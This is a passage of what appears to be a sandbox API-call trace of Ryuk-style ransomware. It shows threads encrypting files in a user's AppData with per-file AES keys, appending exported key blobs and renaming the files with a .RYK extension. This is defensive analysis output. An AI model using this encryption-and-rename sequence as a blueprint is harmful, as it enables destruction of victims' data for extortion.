	[0225.853] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.853] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2595
	os_tid = 0x2df0

	[0226.925] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat", dwFileAttributes=0x80) returned 0
	[0226.925] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.925] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.925] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2608
	os_tid = 0x2e24

	[0226.927] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1
	[0231.682] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x774
	[0231.684] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x8e2fcd8 | out: lpFileSize=0x8e2fcd8*=16384) returned 1
	[0231.684] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x8e2fce8 | out: lpFileSize=0x8e2fce8*=16384) returned 1
	[0231.684] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0231.685] ReadFile (in: hFile=0x774, lpBuffer=0x8e2fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e2fca0, lpOverlapped=0x0 | out: lpBuffer=0x8e2fd30*, lpNumberOfBytesRead=0x8e2fca0*=0x19, lpOverlapped=0x0) returned 1
	[0231.773] SetFilePointer (in: hFile=0x774, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0231.773] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8e2fcb8 | out: phKey=0x8e2fcb8*=0x2b8ff0) returned 1
	[0231.773] SetFilePointer (in: hFile=0x774, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0231.773] ReadFile (in: hFile=0x774, lpBuffer=0x3190000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x8e2fcc4, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x8e2fcc4*=0x4000, lpOverlapped=0x0) returned 1
	[0231.775] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8e2fcc0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8e2fcc0*=0xf4250) returned 1
	[0231.776] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x8e2fcc8*=0x4000, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x8e2fcc8*=0x4010) returned 1
	[0231.776] SetFilePointer (in: hFile=0x774, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0231.776] WriteFile (in: hFile=0x774, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x8e2fcc4, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x8e2fcc4*=0x4010, lpOverlapped=0x0) returned 1
	[0231.778] WriteFile (in: hFile=0x774, lpBuffer=0x8e2fcf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8e2fcd0, lpOverlapped=0x0 | out: lpBuffer=0x8e2fcf0*, lpNumberOfBytesWritten=0x8e2fcd0*=0x6, lpOverlapped=0x0) returned 1
	[0231.778] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8e2fce0 | out: pbData=0x0*, pdwDataLen=0x8e2fce0*=0x10c) returned 1
	[0231.778] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8e2fd50, pdwDataLen=0x8e2fce0 | out: pbData=0x8e2fd50*, pdwDataLen=0x8e2fce0*=0x10c) returned 1
	[0231.778] WriteFile (in: hFile=0x774, lpBuffer=0x8e2fd50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8e2fcd0, lpOverlapped=0x0 | out: lpBuffer=0x8e2fd50*, lpNumberOfBytesWritten=0x8e2fcd0*=0x10c, lpOverlapped=0x0) returned 1
	[0231.779] CloseHandle (hObject=0x774) returned 1
	[0231.793] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0231.793] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2609
	os_tid = 0x2e28

	[0226.929] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb", dwFileAttributes=0x80) returned 0
	[0226.930] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.930] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.930] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2610
	os_tid = 0x2e2c

	[0226.931] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb", dwFileAttributes=0x80) returned 1
	[0226.933] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0226.933] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x981f558 | out: lpFileSize=0x981f558*=69740) returned 1
	[0226.933] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x981f568 | out: lpFileSize=0x981f568*=69740) returned 1
	[0226.933] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x10f4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0226.934] ReadFile (in: hFile=0x6d8, lpBuffer=0x981f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x981f520, lpOverlapped=0x0 | out: lpBuffer=0x981f5b0*, lpNumberOfBytesRead=0x981f520*=0x19, lpOverlapped=0x0) returned 1
	[0226.938] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0226.938] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x981f538 | out: phKey=0x981f538*=0x2b9220) returned 1
	[0226.938] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0226.938] ReadFile (in: hFile=0x6d8, lpBuffer=0x3390000, nNumberOfBytesToRead=0x1106c, lpNumberOfBytesRead=0x981f544, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesRead=0x981f544*=0x1106c, lpOverlapped=0x0) returned 1
	[0226.942] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x981f540*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x981f540*=0xf4250) returned 1
	[0226.942] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3390000*, pdwDataLen=0x981f548*=0x1106c, dwBufLen=0xf4250 | out: pbData=0x3390000*, pdwDataLen=0x981f548*=0x11070) returned 1
	[0226.943] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0226.943] WriteFile (in: hFile=0x6d8, lpBuffer=0x3390000*, nNumberOfBytesToWrite=0x11070, lpNumberOfBytesWritten=0x981f544, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesWritten=0x981f544*=0x11070, lpOverlapped=0x0) returned 1
	[0226.944] WriteFile (in: hFile=0x6d8, lpBuffer=0x981f570*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x981f550, lpOverlapped=0x0 | out: lpBuffer=0x981f570*, lpNumberOfBytesWritten=0x981f550*=0x6, lpOverlapped=0x0) returned 1
	[0226.944] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x981f560 | out: pbData=0x0*, pdwDataLen=0x981f560*=0x10c) returned 1
	[0226.944] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x981f5d0, pdwDataLen=0x981f560 | out: pbData=0x981f5d0*, pdwDataLen=0x981f560*=0x10c) returned 1
	[0226.944] WriteFile (in: hFile=0x6d8, lpBuffer=0x981f5d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x981f550, lpOverlapped=0x0 | out: lpBuffer=0x981f5d0*, lpNumberOfBytesWritten=0x981f550*=0x10c, lpOverlapped=0x0) returned 1
	[0226.945] CloseHandle (hObject=0x6d8) returned 1
	[0226.967] CryptDestroyKey (hKey=0x2b9220) returned 1
	[0226.968] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2613
	os_tid = 0x2e30

	[0232.342] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD", dwFileAttributes=0x80) returned 0
	[0232.342] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.342] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2614
	os_tid = 0x2e34

	[0232.348] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", dwFileAttributes=0x80) returned 0
	[0232.348] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.348] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2615
	os_tid = 0x2e38

	[0232.354] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF", dwFileAttributes=0x80) returned 0
	[0232.354] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.354] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2616
	os_tid = 0x2e3c

	[0233.086] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig", dwFileAttributes=0x80) returned 0
	[0233.086] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.086] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.087] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2620
	os_tid = 0x2e58

	[0233.092] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", dwFileAttributes=0x80) returned 0
	[0233.092] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.092] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.092] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2633
	os_tid = 0x2e90

	[0235.081] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf", dwFileAttributes=0x80) returned 1
